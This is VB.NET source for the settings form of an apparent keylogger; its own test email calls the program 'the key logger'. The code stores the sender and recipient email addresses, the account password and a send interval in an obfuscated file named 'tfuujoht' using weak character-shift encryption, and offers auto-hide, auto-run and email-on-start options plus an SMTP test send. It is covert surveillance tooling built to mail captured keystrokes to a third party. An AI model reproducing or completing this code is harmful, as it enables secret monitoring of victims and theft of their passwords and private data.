﻿Imports System.IO
Imports System.Net.Mail

Public Class Settings
    ''' <summary>
    ''' Encrypt and save settings
    ''' </summary>
    ''' <param name="sender"></param>
    ''' <param name="e"></param>
    ''' <remarks></remarks>
    Private Sub btnSave_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnSave.Click

        Dim writer As New IO.StreamWriter("tfuujoht")
        Dim checksumstring As String = Nothing
        Dim key(64) As Integer

        For x As Integer = 0 To 63 'Generates an encryption key

            key(x) = Rnd() * 9

            If x > 0 Then
                While key(x) = key(x - 1) Or key(x) = 0
                    key(x) = Rnd() * 9
                End While
            End If

            writer.Write(key(x))
            checksumstring += key(x)
        Next

        writer.Write(vbCrLf)

        If Me.txtFrom.Text <> Nothing And Me.txtTo.Text <> Nothing And Me.txtPw.Text <> Nothing Then

            Dim efrom As String = Me.txtFrom.Text
            Dim eto As String = Me.txtTo.Text
            Dim epw As String = Me.txtPw.Text
            Dim buffertowrite As String = Nothing

            For count As Integer = 0 To efrom.Length() - 1
                buffertowrite += ChrW(Asc(efrom.Chars(count)) - key(count))
            Next

            writer.WriteLine(buffertowrite)
            buffertowrite = Nothing

            For count As Integer = 0 To eto.Length() - 1
                buffertowrite += ChrW(Asc(eto.Chars(count)) - key(count))
            Next

            writer.WriteLine(buffertowrite)
            buffertowrite = Nothing

            For count As Integer = 0 To epw.Length() - 1
                buffertowrite += ChrW(Asc(epw.Chars(count)) - key(count))
            Next

            writer.WriteLine(buffertowrite)
            buffertowrite = Nothing

            For count As Integer = 0 To Me.numInteval.Value.ToString.Length() - 1
                buffertowrite += ChrW(Asc(Me.numInteval.Value.ToString.Chars(count)) - key(count))
            Next

            writer.WriteLine(buffertowrite)
            buffertowrite = Nothing

            If Me.ckbEmailOnStart.Checked Then
                writer.Write("x")
            Else
                writer.Write("o")
            End If

            If Me.ckbAutoHide.Checked Then
                writer.Write("x")
            Else
                writer.Write("o")
            End If

            If Me.ckbAutoRun.Checked Then
                writer.Write("x")
            Else
                writer.Write("o")
            End If

            If Me.ckbRequirePassword.Checked Then

                Password_Dialog.ShowDialog()

                For count As Integer = 0 To Password_Dialog.txtPassword.Text.Length() - 1
                    buffertowrite += ChrW(Asc(Password_Dialog.txtPassword.Text.Chars(count)) - key(count))
                Next

                Password_Dialog.txtPassword.Text = Nothing
                writer.Write("x" & buffertowrite & vbCrLf)
            Else
                writer.Write("o" & vbCrLf)
            End If

            writer.Close()
            Call ChecksumWriter()

        Else
            MessageBox.Show("Please fill all fields")
        End If

        Me.btnSave.Text = "Saved!"
    End Sub

    ''' <summary>
    ''' Writes a checksum to file
    ''' </summary>
    ''' <remarks></remarks>
    Sub ChecksumWriter()

        Dim checksum As Integer
        Dim reader As New StreamReader("tfuujoht")
        Dim checksumstring As String = reader.ReadToEnd

        reader.Close()
        For counter As Integer = 0 To checksumstring.Length - 1
            If checksum = 0 Then 'if checksum is 0 add the first char's value
                checksum = Convert.ToByte(checksumstring.Chars(counter))
            Else 'else xor it
                checksum = checksum Xor Convert.ToByte(checksumstring.Chars(counter))
            End If
        Next
        Dim writer As New StreamWriter("tfuujoht", True)

        writer.Write("*" & checksum.ToString("X2"))
        writer.Close()
    End Sub

    ''' <summary>
    ''' Calculate checksum to verify integrity and prevent tampering
    ''' </summary>
    ''' <remarks></remarks>
    ''' <returns>True if checksum calcuated is equal to checksum in the file, else False</returns>
    Function checksumcalc(ByRef reader As StreamReader)

        Dim checksum As Integer
        Dim checksumstring As String = reader.ReadToEnd

        For counter As Integer = 0 To checksumstring.Length - 4
            If checksum = 0 Then 'if checksum is 0 add the first char's value
                checksum = Convert.ToByte(checksumstring.Chars(counter))
            Else 'else xor it
                checksum = checksum Xor Convert.ToByte(checksumstring.Chars(counter))
            End If
        Next

        Dim cksm As String = checksum.ToString("X2")
        Dim chskum2 As String = checksumstring.Substring(checksumstring.IndexOf("*") + 1, 2)

        If checksum.ToString("X2") = checksumstring.Substring(checksumstring.IndexOf("*") + 1, 2) Then
            reader.Close()
            Return True
        Else
            reader.Close()
            Return False
        End If

    End Function

    ''' <summary>
    ''' Loads settings from file and populates appropriate fields
    ''' </summary>
    ''' <param name="sender"></param>
    ''' <param name="e"></param>
    ''' <remarks></remarks>
    Private Sub Settings_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        If File.Exists("tfuujoht") Then
            Try
                Dim reader2 As New IO.StreamReader("tfuujoht") 'Reader for checksumming
                If checksumcalc(reader2) Then
                    reader2.Close() 'Release resources
                    Dim reader As New IO.StreamReader("tfuujoht") 'Reader for populating settings
                    Dim readline As String
                    Dim key(64) As Integer
                    Dim interval As String = Nothing

                    readline = reader.ReadLine() 'Read decryption key
                    For x As Integer = 0 To 63
                        key(x) = Val(readline.Chars(x))
                    Next

                    readline = reader.ReadLine() 'Read sending email account name
                    For count As Integer = 0 To readline.Length() - 1
                        Me.txtFrom.Text += ChrW(Asc(readline.Chars(count)) + key(count))
                    Next

                    readline = reader.ReadLine() 'Read who to send the email to
                    For count As Integer = 0 To readline.Length() - 1
                        Me.txtTo.Text += ChrW(Asc(readline.Chars(count)) + key(count))
                    Next

                    readline = reader.ReadLine() 'Read sending email account password
                    For count As Integer = 0 To readline.Length() - 1
                        Me.txtPw.Text += ChrW(Asc(readline.Chars(count)) + key(count))
                    Next

                    readline = reader.ReadLine() 'Read email sending interval
                    For count As Integer = 0 To readline.Length() - 1
                        interval += ChrW(Asc(readline.Chars(count)) + key(count))
                    Next

                    Me.numInteval.Value = Val(interval)

                    readline = reader.ReadLine() 'Read email-on-start, auto-hide, auto-run, and password settings

                    If readline.Chars(0) = "x" Then
                        Me.ckbEmailOnStart.Checked = True
                    Else
                        Me.ckbEmailOnStart.Checked = False
                    End If

                    If readline.Chars(1) = "x" Then
                        Me.ckbAutoHide.Checked = True
                    Else
                        Me.ckbAutoHide.Checked = False
                    End If

                    If readline.Chars(2) = "x" Then
                        Me.ckbAutoRun.Checked = True
                    Else
                        Me.ckbAutoRun.Checked = False
                    End If

                    If readline.Chars(3) = "x" Then
                        Me.ckbRequirePassword.Checked = True
                    Else
                        Me.ckbRequirePassword.Checked = False
                    End If

                    reader.Close()
                Else
                    reader2.Close()
                End If

            Catch ex As Exception : End Try

        End If
    End Sub

    ''' <summary>
    ''' Sends test email using information provided
    ''' </summary>
    ''' <param name="sender"></param>
    ''' <param name="e"></param>
    ''' <remarks></remarks>
    Private Sub btnTest_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnTest.Click

        Dim MyMailMessage As New MailMessage()

        MyMailMessage.From = New MailAddress(Me.txtFrom.Text)
        MyMailMessage.To.Add(Me.txtTo.Text)
        MyMailMessage.Subject = "Test email" 'subject/title of email
        MyMailMessage.Body = "The key logger's email functionality is working properly" 'body (message) of the email

        Dim SMTPServer As New SmtpClient("smtp." & Me.txtFrom.Text.Substring(Me.txtFrom.Text.IndexOf("@") + 1))
        SMTPServer.Port = 587
        SMTPServer.Credentials = New System.Net.NetworkCredential(Me.txtFrom.Text, Me.txtPw.Text)
        SMTPServer.EnableSsl = True

        Try
            SMTPServer.Send(MyMailMessage)
        Catch ex As SmtpException

            MessageBox.Show("Send failed")

        End Try

    End Sub

    ''' <summary>
    ''' Closes form
    ''' </summary>
    ''' <param name="sender"></param>
    ''' <param name="e"></param>
    ''' <remarks>Sets all values to false or nothing so that information is loaded 
    ''' from file each time and prevents compromise of encrypted data</remarks>
    Private Sub btnClose_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnClose.Click
        Me.txtFrom.Text = Nothing
        Me.txtTo.Text = Nothing
        Me.txtPw.Text = Nothing
        Me.numInteval.Value = 5
        Me.ckbAutoHide.Checked = False
        Me.ckbAutoRun.Checked = False
        Me.ckbEmailOnStart.Checked = False
        Me.Close()
    End Sub
End Class